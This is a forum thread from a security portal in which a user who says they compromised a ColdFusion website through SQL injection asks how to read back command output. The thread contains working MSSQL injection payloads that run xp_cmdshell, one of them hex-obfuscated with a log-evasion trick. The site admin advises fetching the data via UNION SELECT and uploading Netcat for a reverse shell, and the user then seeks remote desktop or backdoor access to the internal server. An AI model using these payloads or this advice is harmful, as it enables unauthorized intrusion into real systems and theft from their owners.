Waraxe IT Security Portal
Login or Register
October 21, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 480
Members: 0
Total: 480
Full disclosure
CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a
Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
[SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files
CVE-2025-59397 - Open Web Analytics SQL Injection
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11
Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Help me with sqlinjection with CFM with sa acc in sql server
Post new topicReply to topic View previous topic :: View next topic
Help me with sqlinjection with CFM with sa acc in sql server
PostPosted: Sat Dec 26, 2009 1:37 pm Reply with quote
proaspx
Regular user
Regular user
Joined: Dec 26, 2009
Posts: 7




I hacked webiste with sql injection coldfusion
Sql user= sa
I tried to get real IP address of sql server to do remote desktop


drop table k1 create table k1 (id int identity,nn varchar(max)) insert into k1 exec master..xp_cmdshell 'ipconfig'

;declare%20@sql%20varchar(4000)%20set%20@sql=cast(0x64726f70207461626c65206b3120637265617465207461626c65206b312028696420696e74206964656e746974792c6e6e2076617263686172286d6178292920696e7365727420696e746f206b312065786563206d61737465722e2e78705f636d647368656c6c20276970636f6e66696727%20as%20varchar(4000))%20exec(@sql);--sp_password

when i query data in table K1
But i cant get
7/ Connection-specific DNS Suf = 31 lenghg
8/ IP Address. . . . . . . . .

all data is not full cause not enough length so i cant see real IP of sql server

7/ Connection-specific DNS Suf = 31 length
8/ IP Address. . . . . . . . .=31 length

Data query must = 45 length of string to see real IP
Any body can help ?
View user's profile Send private message
PostPosted: Sat Dec 26, 2009 2:03 pm Reply with quote
proaspx
Regular user
Regular user
Joined: Dec 26, 2009
Posts: 7




I known the real reason

[Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' IP Address. . . . . . . . .' to data type int.

Maybe error in coldfusion can display only 32 charactor...
Any body can help me see more character...
View user's profile Send private message
PostPosted: Sat Dec 26, 2009 4:57 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




xp_cmdshell should work fine, so I guess, that data in table k1 is in full form and you have problem getting data back from k1?
How can you fetch data from k1? Via UNION SELECT? Tried using substrings?

And by the way, better option is to upload Netcat to the database server and execute it for reverse shell. But before that you can do ping in order to confirm, that database server can communicate with your computer.

One more thing I spotted ... table k1 ... you declared it as:

create table k1 (id int identity,nn varchar(max))

Try using direct value:

create table k1 (id int identity,nn varchar(4000))

And by the way, what version of MS SQL it is? 2005? 2000?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jan 02, 2010 7:52 am Reply with quote
proaspx
Regular user
Regular user
Joined: Dec 26, 2009
Posts: 7




thanks admin \
I used left(nn,32) in sql function and problem sloved
But ip of sql server is : 192.168.1.107
SQl server and host is not same IP
how can we known real IP of sql server to do something like :Remote desktop , run backdoor in web browser
View user's profile Send private message
Help me with sqlinjection with CFM with sa acc in sql server
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.027 Seconds